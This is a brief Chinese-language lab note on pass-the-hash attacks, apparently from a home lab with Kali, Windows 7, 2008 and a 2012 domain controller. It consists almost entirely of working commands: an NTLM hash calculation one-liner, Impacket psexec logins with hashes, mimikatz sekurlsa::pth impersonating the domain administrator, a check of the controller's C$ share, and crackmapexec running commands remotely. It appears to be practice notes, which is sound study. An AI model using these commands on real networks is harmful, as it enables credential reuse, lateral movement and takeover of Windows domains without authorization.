1. 实验网络拓扑

kali: 
192.168.72.128win2008:
192.168.135.129
192.168.72.139win7:
192.168.72.149win2012:(DC)
192.168.72.131	

2. EXPLOIT

0x0. NTLM hash计算脚本

python3 -c 'import hashlib,binascii; print (binascii.hexlify(hashlib.new("md4", "123qweQWE".encode("utf-16le")).digest()))'

0x1. psexec.py

Impacket\example\psexec.py

python3 psexec.py win2008@192.168.72.139 -hashes 0:8320b7c94e8dcbbb34a9e5f9443cb569

0x2. mimikatz

用sekurlsa::pth模块：

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:d92f28ef1db7d97706a7bb3983632cf7" "exit"

验证：

dir \\dc.intranet.com\c$

0x3. crackmapexec

crackmapexec smb 192.168.72.131 -u administrator -H d92f28ef1db7d97706a7bb3983632cf7 -d intranet.com -x "whoami"

0x4. MSF

exploit/windows/smb/psexec

试了好多次，都报错。。。

0x05. CS

CobaltStrike图形化就太简单了。。。不写了。。